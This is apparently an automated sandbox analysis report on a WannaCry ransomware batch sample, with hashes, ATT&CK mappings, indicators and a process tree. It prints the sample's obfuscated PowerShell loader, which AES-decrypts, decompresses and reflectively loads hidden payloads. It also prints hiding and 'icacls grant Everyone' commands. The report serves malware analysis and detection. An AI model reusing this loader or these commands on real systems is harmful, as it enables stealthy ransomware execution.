wannacry | 10760fe9e1b716649af9dc2d710d82032928324868caee715328e2f43ab44dc6

General

Target

WannaCry.bat
Size

4.5MB
MD5

c8dbe481d2770bc451c8743c27ba6ce9
SHA1

1b323d89ed671bcd6a2a304f62e61541d18ca3ab
SHA256

10760fe9e1b716649af9dc2d710d82032928324868caee715328e2f43ab44dc6
SHA512

f7932900c47f1278ee51f4380e3735edd199915917de8476a1f738d400d75a28c92fde3028d0956f0c2693dcd51f85e3ee5c798a114b202a22855c227623d910
SSDEEP

49152:l44FfYXDfYKWQwSm5JAyJx2ems7dhSYS0to/Q6rj6p3tQmd9+du9b:Pb

Score

10^/10

wannacry defense_evasion discovery execution ransomware worm

Malware Config

Signatures

Wannacry
WannaCry is a ransomware cryptoworm.
ransomware worm wannacry

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
64	icacls.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1452	powershell.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0	attrib.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1452	powershell.exe
1452	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1452	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 208 wrote to memory of 1452	208	cmd.exe	87
PID 208 wrote to memory of 1452	208	cmd.exe	87
PID 208 wrote to memory of 1452	208	cmd.exe	87
PID 1452 wrote to memory of 1436	1452	powershell.exe	89
PID 1452 wrote to memory of 1436	1452	powershell.exe	89
PID 1452 wrote to memory of 1436	1452	powershell.exe	89
PID 1452 wrote to memory of 64	1452	powershell.exe	90
PID 1452 wrote to memory of 64	1452	powershell.exe	90
PID 1452 wrote to memory of 64	1452	powershell.exe	90

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1436	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\WannaCry.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:208
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UXL0PfD03X4aCPWYkGBthkmMJQmcIFB9G/6RLKToTsY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('W2Fkicbjw65AFJXzKIHMnA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VoCsZ=New-Object System.IO.MemoryStream(,$param_var); $OQNsV=New-Object System.IO.MemoryStream; $ugdeq=New-Object System.IO.Compression.GZipStream($VoCsZ, [IO.Compression.CompressionMode]::Decompress); $ugdeq.CopyTo($OQNsV); $ugdeq.Dispose(); $VoCsZ.Dispose(); $OQNsV.Dispose(); $OQNsV.ToArray();}function execute_function($param_var,$param2_var){ $NtFei=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $PmdTN=$NtFei.EntryPoint; $PmdTN.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\WannaCry.bat';$jeRNS=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\WannaCry.bat').Split([Environment]::NewLine);foreach ($ufEkh in $jeRNS) { if ($ufEkh.StartsWith(':: ')) { $wDNWk=$ufEkh.Substring(3); break; }}$payloads_var=[string[]]$wDNWk.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1452
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h .
    3⤵
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:1436
- - C:\Windows\SysWOW64\icacls.exe
    icacls . /grant Everyone:F /T /C /Q
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:64

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

2

T1222

Windows File and Directory Permissions Modification

1

T1222.001

Hide Artifacts

1

T1564

Hidden Files and Directories

1

T1564.001

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_chbdnf35.1iz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1452-4-0x0000000075150000-0x0000000075900000-memory.dmp

Filesize
7.7MB

Download
memory/1452-5-0x0000000005A80000-0x0000000005AA2000-memory.dmp

Filesize
136KB

Download
memory/1452-17-0x0000000006460000-0x00000000067B4000-memory.dmp

Filesize
3.3MB

Download
memory/1452-0-0x000000007515E000-0x000000007515F000-memory.dmp

Filesize
4KB

Download
memory/1452-18-0x0000000006960000-0x000000000697E000-memory.dmp

Filesize
120KB

Download
memory/1452-7-0x0000000005C90000-0x0000000005CF6000-memory.dmp

Filesize
408KB

Download
memory/1452-6-0x0000000005C20000-0x0000000005C86000-memory.dmp

Filesize
408KB

Download
memory/1452-19-0x0000000006990000-0x00000000069DC000-memory.dmp

Filesize
304KB

Download
memory/1452-3-0x0000000075150000-0x0000000075900000-memory.dmp

Filesize
7.7MB

Download
memory/1452-2-0x0000000005D60000-0x0000000006388000-memory.dmp

Filesize
6.2MB

Download
memory/1452-1-0x0000000003470000-0x00000000034A6000-memory.dmp

Filesize
216KB

Download
memory/1452-20-0x000000000B1A0000-0x000000000B81A000-memory.dmp

Filesize
6.5MB

Download
memory/1452-21-0x000000000AB60000-0x000000000AB7A000-memory.dmp

Filesize
104KB

Download
memory/1452-22-0x00000000057B0000-0x00000000057B8000-memory.dmp

Filesize
32KB

Download
memory/1452-23-0x000000000ACC0000-0x000000000B026000-memory.dmp

Filesize
3.4MB

Download
memory/1452-25-0x0000000075150000-0x0000000075900000-memory.dmp

Filesize
7.7MB

Download
memory/1452-28-0x0000000075150000-0x0000000075900000-memory.dmp

Filesize
7.7MB

Download

Analysis

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